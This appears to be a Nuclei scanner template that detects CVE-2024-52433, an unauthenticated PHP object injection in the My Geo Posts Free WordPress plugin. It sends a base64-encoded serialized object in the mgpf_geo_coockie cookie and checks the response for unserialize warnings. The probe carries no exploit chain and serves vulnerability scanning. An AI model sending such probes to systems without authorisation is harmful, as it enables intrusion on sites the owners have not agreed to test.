My Geo Posts Free <= 1.2 - PHP Object Injection

id: CVE-2024-52433

info:
  name: My Geo Posts Free <= 1.2 - PHP Object Injection
  author: s4e-io
  severity: critical
  description: |
    The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
  impact: |
    Unauthenticated attackers can inject PHP objects via deserialization of the mgpf_geo_coockie cookie, which could lead to arbitrary file deletion, sensitive data retrieval, or code execution if a POP chain is present.
  remediation: |
    Update My Geo Posts Free plugin to a version later than 1.2 that addresses the insecure deserialization vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-52433
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/my-geo-posts-free/my-geo-posts-free-12-unauthenticated-php-object-injection
    - https://patchstack.com/database/vulnerability/my-geo-posts-free/wordpress-my-geo-posts-free-plugin-1-2-php-object-injection-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-52433
    cwe-id: CWE-502
    epss-score: 0.03049
    epss-percentile: 0.86766
    cpe: cpe:2.3:a:mindstien:my_geo_posts_free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mindstien
    product: my_geo_posts_free
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,my-geo-posts-free,php,injection,vuln

variables:
  cls: '{{rand_text_alpha(8)}}'
  payload: 'O:8:"{{cls}}":0:{}'
  encrypt: '{{base64(payload)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Cookie: "mgpf_geo_coockie={{encrypt}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Warning", "mgpf_get_geo_location()", "unserialize", "{{cls}}")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100aedfd02d0479fcfaad95723934810fd16070d9e6c1fa33404b34f30cd1899a99022007bc9c2564eeda89b349cfe05577d228fd6eea6c4cb5dd51bed9fbd1eed97f93:922c64590222798bb761d5b6d8e72950